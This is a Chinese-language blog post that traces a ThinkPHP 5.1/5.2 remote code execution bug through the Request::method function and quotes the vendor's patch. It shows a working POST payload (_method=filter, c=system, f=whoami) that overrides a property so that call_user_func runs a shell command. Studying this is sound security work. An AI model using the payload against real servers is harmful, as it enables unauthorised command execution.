Thinkphp5.1-2 RCE简单分析

前言

上次出的洞是接近元旦吧,好像刚从南京回学校,要准备烦人的期末,没心思分析,前天我刚考完,今天刚爆的洞洞貌似。然后自己跟着调试了一下。

漏洞细节

这是复现图

前提是要在index.php中禁止报错,其实在生产环境中,开发也会这么做。

漏洞点在\thinkphp\library\think\Request.php中的method函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function method($origin = false)
{
if ($origin) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}

return $this->method;
}

如图,我已经在这里下断点了

var_method 是预定义的

1
$this->{$method} = $_POST;

这里有一个变量覆盖。

1
2
3
4
array (size=3)
'c' => string 'system' (length=6)
'f' => string 'whoami' (length=6)
'_method' => string 'filter' (length=6)

这里为什么要覆盖filter呢?

是为了最后这里,在call_user_func() 这里执行。

1
2
3
4
说明

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

得到结果。
官方的修复代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
$method = strtolower($_POST[$this->config['var_method']]);
if (in_array($method, ['get', 'post', 'put', 'patch', 'delete'])) {
$this->method = strtoupper($method);
$this->{$method} = $_POST;
} else {
$this->method = 'POST';
}
unset($_POST[$this->config['var_method']]);
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
@@ -1320,7 +1325,8 @@ public function header($name = '', $default = null)
* @param array $data 数据源
* @return void
*/
public function arrayReset(array &$data) {
public function arrayReset(array &$data)
{
foreach ($data as &$value) {
if (is_array($value)) {
$this->arrayReset($value);

只允许五种方法,保证变量在可控范围内。

总结

大佬们真牛逼!!!

know it then hack it!

打赏wing!